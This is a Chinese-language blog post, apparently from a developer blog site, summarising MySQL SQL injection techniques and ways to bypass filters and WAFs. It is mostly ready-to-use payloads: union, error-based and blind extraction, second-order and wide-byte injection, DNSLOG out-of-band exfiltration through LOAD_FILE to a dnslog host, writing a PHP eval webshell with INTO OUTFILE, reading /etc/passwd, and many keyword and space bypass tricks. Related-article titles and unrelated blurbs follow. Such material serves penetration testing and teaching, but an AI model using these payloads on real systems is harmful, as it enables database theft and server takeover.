SQL注入及绕过姿势总结

概述

SQL注入指用户输入的参数可控且没有被过滤,攻击者输入的恶意代码被传到后端与SQL语句一起构造并在数据库中执行

不同数据库的语法可能存在差异,以MySQL为例,其他差异见文末

注入姿势

普通查询注入

判断漏洞是否存在

数字型

例如后端SQL语句长这样

select * from article where artid = 1 and xxxxx;

GET的请求参数是artid,可以在参数值后面输入单引号,此时数据库无法执行就会报错,说明存在SQL注入

?artid=1'

# select * from article where artid = 1' and xxxx;

通过and 1=1 ,and 1=2 判断

?artid=1 and 1=1
?artid=2 and 1=2
# select * from article where artid = 1 and 1=1 and xxxx;
# 若and 1=1页面回显正常,and 1=2 回显不正常 ,则说明拼接成功

需要注意的是,在测试删除功能时尽量不要使用and 1=1,否则可能会将数据全部删除

字符型

与数字型类似,只是要注意单引号/双引号/括号的闭合,可以在最后加上注释符把后面的闭合符号和语句直接注释掉

判断字段数

?artid=1 order by 4
# 遍历数字,页面内容回显正常说明列数正确

order by 无法使用时,可以通过SELECT NULL判断

?artid=1 SELECT NULL, NULL, NULL, NULL

暴库名

?artid=-1 union select 1, database(), 3, 4

暴表名

?artid=-1 union select 1,group_concat(table_name), 3, 4 from information_schema.tables where table_schema=xxx

报错注入

很多Web程序没有内容回显,这样就需要我们利用报错注入的方式来进行SQL注入了

报错常用的函数

floor

id=1 and select count(*),floor(rand(0)*2) x from xxx group by x;

extractvalue

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

updatexml

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

exp

id=1 and exp(~(select * from(select user())a));

盲注

Boolean盲注

盲注常用的函数

length() 	# 返回字符串的长度
substr() # 截取字符串 (语法:SUBSTR(str,pos,len))
ascii() # 返回字符的ascii码 [将字符变为数字wei]
sleep() # 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) # 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

注入步骤

1.判断数据库名字的长度

?id=1 and length(database()) > 7

2.猜解数据库名

?id=1 and substr(database(), 1, 1) = 's'

可以使用burp或者python脚本进行遍历猜解

时间盲注

注入方法

1.判断注入点

根据页面回显判断

1" and 1=1-- # 页面返回有数据
1" and 2=2-- # 页面返回有数据

用sleep()判断,如果响应延时了5s说明存在时间盲注

" and sleep(5)--

2.猜解当前数据库名称长度

" and if((length(database()))=12,sleep(5),1)--

3.用ASCII码猜解当前数据库名称

" and if(ascii(substr(database(),1,1))=107,sleep(5),1)--

更新注入

更新类的操作的返回结果都是布尔型,无法返回数据

insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor')
update user set password = 'kali123' where id = 5 or extractvalue(1, concat(0x7e, version(), 0x7e));

堆叠注入

利用条件:可以同时执行多条sql语句

例如php中的mysql_multi_query(),pymysql中的cursor.execute()支持多条sql语句同时执行

select * from users;show databases;

二次注入

利用条件:知道数据库中的列名且使用了magic_quote_gpc等对引号过滤

原理:用户向数据库里存入恶意的数据,在数据被插入到数据库之前,会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。

例如原语句:

$ sql = "UPDATE users SET PASSWORD='$pass' where username='$ username' and password='$ curr_pass' ";

我们的用户名被admin'#传入进去,在数据库里#号为注释符 然后这句话就变成了

$ sql = "UPDATE users SET PASSWORD='$pass' where username='admin' #' and password='$curr_pass' ";

$ sql = "UPDATE users SET PASSWORD=’$pass’ where username=’admin‘

宽字节注入

利用条件:数据库使用了GBK编码,使用magic_quotes_gpc对引号过滤

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤

\的编码是%5c,输入%df',经过过滤处理后会变成%df\'也就是%df%5c,GBK编码中文字符'運'

SELECT * FROM users WHERE id='1%df%5c'and 1=1--+' LIMIT 0,1
SELECT * FROM `article` where articleid = '1%df%5c'and 1=1 --+' LIMIT 0,1
payload:%df'and 1=1 --+'

二次编码注入

利用条件:目标站点使用了urldecode()解码

urldecode()与PHP本身处理编码时,两者配合失误,可构造数据绕过

%的url编码为:%25
'的url编码为:%27
%25%27,URL解码后是%27 也就是'

其他利用方式

DNSLOG 外带注入

目标站点没有回显,不知道是否利用成功时,就需要DNSLOG注入

Windows中允许使用UNC路径访问网络 \\计算机名或IP地址\共享名称\路径

利用前提:

  1. secure_file_priv=值为空
  2. 目标出网

在数据库中执行以下命令,查看DNSLOG平台

SELECT LOAD_FILE('\\\\fekvlt.dnslog.cn\\aa');

将要查询的内容带出来

SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.fekvlt.dnslog.cn\\a'));

MySQL写webshell

拿下数据库后如果有权限的话可以读取文件或者写入webshell

利用前提

1.secure_file_priv为空

show global variables like '%secure%'

secure_file_priv = 任意路径读写

secure_file_priv = path 只能在该指定路径下读写

secure_file_priv = null 不能读写

2.具有写入文件权限

3.知道网站绝对路径

写入文件

使用into outfile()将一句话写入网站目录

select '<?php @eval($_POST[CMD]); ?>' into outfile '\/var\/www\/html\/shell.php';

读取文件

load_file()函数读取文件

?id=-2 union select 1, 2, 3, load_file('//etc//passwd'), 5

常见绕过方式

注释符

'#', '--+', '-- -', '%23', '%00', '/**/'

"and、or" 过滤

# 可以使用"&&"和"||"代替
?id=1 && 1=1 --+ # 盲注,异或运算相同为0,不同为1;根据返回值0,1判断
?id=1 union select (substr(database(),1,1)='s') ^ 0 --

关键词过滤

  • 大小写绕过

    id=-1' UnIoN SeLeCT xxx
  • 双写绕过

    适用于将关键词置空的场景

    id=-1'UNIunionONSeLselectECT1,2,3–-
  • 编码绕过

    可以使用URL,hex,ASCII等编码绕过

    例如'or 1=1

    27%20%4F%52%201%3D%31%20%2D%2D
  • 注释绕过

    内联注释/**/将关键词分隔开

    id=1' UN/**/ION SE/**/LECT database() --

空格过滤

  • 内联注释代替空格

    id=1/**/and/**/1=1
  • 括号嵌套

    select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
  • 制表符、换行、不可见空格

    %09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)

  • 反引号

    union(select`table_name`,`table_type`from`information_schema`.`tables`);

比较符号 "=、<、>"过滤

  • in()

    ascii(substr(select database(),1,1)) in(115);	//根据回显判断
  • like

    like代替'='

  • 正则表达式

    select database() regexp '^s'; //根据回显判断

逗号过滤

逗号被过滤时可以使用from...for...

select substr(select database() from 1 for 1);
select substr(select database() from 2 for 1);

limit中的逗号可以替换成offset

select * from users limit 1 offset 2;

需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行

False注入

select * from users where username = 0;		# 查询表中所有数据

其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据

绕过引号构造0的方法

select * from users where username = ''+'';
select * from users where username = ''-'';
select * from users where username = ''*'';
select * from users where username = ''%1#';
select * from users where username = ''/6#';

等价函数

  • if()=> case...when..then...else...end
0' or if((ascii(substr((select database()),1,1))>97),1,0)#
=
0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#
  • sleep() => benchmark()

​ benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断

  • concat_ws() => group_concat()
select group_concat(database());
=
select concat_ws(1,database());
  • substr() => substring() / lpad() / rpad() / left() / mid()

SQL注入利用及绕过总结的更多相关文章

  1. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  2. ModSecurity SQL注入攻击 – 深度绕过技术挑战

    ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecuri ...

  3. SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...

  4. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  5. sql注入里关键字绕过的发现

    网上大量文章,甚至<黑客攻防技术实战宝典-WEB实战篇>里面都说一些关键字如 select 等绕过可以用注释符/**/. 例如: select,union.可以用 ,se/**/lect, ...

  6. [SQL注入] 逗号拦截绕过

    在SQL注入时,在确定了注入点后,一般都需要使用联合查询猜表的列数,也就是常见的order by n,n从大到小,直到返回正常,就确定了当前查询的列的个数. 然后再使用 UNION SELECT 1, ...

  7. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  8. 绕过阿里云waf进行SQL注入

    做个笔记吧,某SQL注入点的绕过,有阿里云waf的. 首先遇到是个搜索框的注入点: 演示下: 针对搜索框,我们的sql语句一般是怎么写的? 本地演示:select * from product whe ...

  9. 利用DNS实现SQL注入带外查询(OOB)

    根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inference(经典SQL注入),inband(盲注.推理注入.带内注入)和out-of-band 一.什么是OOB out-of-ban ...

  10. sql注入之堆叠注入及waf绕过注入

    #堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...

随机推荐

  1. pytorch不像TensorFlow那样有专用的文件存储格式真的是不足吗?pytorch该如何处理大量小文件的读取呢?

    偶然发现前文: [转载] PyTorch下训练数据小文件转大文件读写(附有各种存储格式对比) 在谈论pytorch的文件读取问题,因为以前是搞TensorFlow的,后来由于编写效率和生态环境问题转为 ...

  2. 读《PyTorch + NumPy这么做会降低模型准确率,这是bug还是预期功能?》

    看了文章: [转载] 浅谈PyTorch的可重复性问题(如何使实验结果可复现) 然后,转到: PyTorch + NumPy这么做会降低模型准确率,这是bug还是预期功能? 发现了在pytorch中的 ...

  3. 如何实现nvidia显卡的cuda的多kernel并发执行???

    相关: CPU端多进程/多线程调用CUDA是否可以加速??? 参考: <CUDA C 编程指南>导读 https://developer.nvidia.com/blog/gpu-pro-t ...

  4. 《最新出炉》系列初窥篇-Python+Playwright自动化测试-65 - Canvas元素推拽-番外篇

    1.简介 上一篇宏哥想了好多办法都没有演示成功的拖拽Canvas元素,宏哥也说的太绝对了,给大家造成困惑或者误导.一连好几天吃饭睡觉都不怎么香了,脑子中始终对这件事耿耿于怀,自己问自己难道就真的没有办 ...

  5. PCIe简介

    PCIe简介 Peripheral Component Interconnect Express (PCI),高速串行计算机扩展总线标准,PCIe对外围设备的组织方式是树形结构. 拓扑结构 根: 树的 ...

  6. Kubernetes-6:Pod生命周期介绍(init Container)

    Pod生命周期 生命周期 1.API server调用kubelet下达Pod创建指令 2.容器环境初始化 3.进入Pod生命周期内(Pod开始创建) 4.Pod只要创建,就会自动生成一个pause容 ...

  7. Java并发编程之验证volatile指令重排-理论篇

    Java并发编程之验证volatile指令重排-理论篇 Java并发包下的类中大量使用了volatile关键字.通过之前文章介绍,大家已经知道了volatile的三大特性:共享变量可见性:不保证原子性 ...

  8. 计算机图形学(第四版) PDF 中文版

    目录 图书介绍 下载地址 图书介绍 <计算机图形学(第四版)>是2014年电子工业出版社出版的图书,作者是Donald Hearn.M. Pauline Baker.Warren R. C ...

  9. .NET 8 + WPF 企业级工作流系统

    前言 推荐一款基于.NET 8.WPF.Prism.DryIoc.MVVM设计模式.Blazor以及MySQL数据库构建的企业级工作流系统的WPF客户端框架-AIStudio.Wpf.AClient ...

  10. 外挂级OCR神器:免费文档解析、表格识别、手写识别、古籍识别、PDF转Word

    TextIn Tools是一款免费的在线OCR工具,支持快速准确的文字和表格识别,手写.古籍识别,提供PDF转Markdown大模型辅助工具,同时支持PDF.WORD.EXCEL.JPG.PPT等各类 ...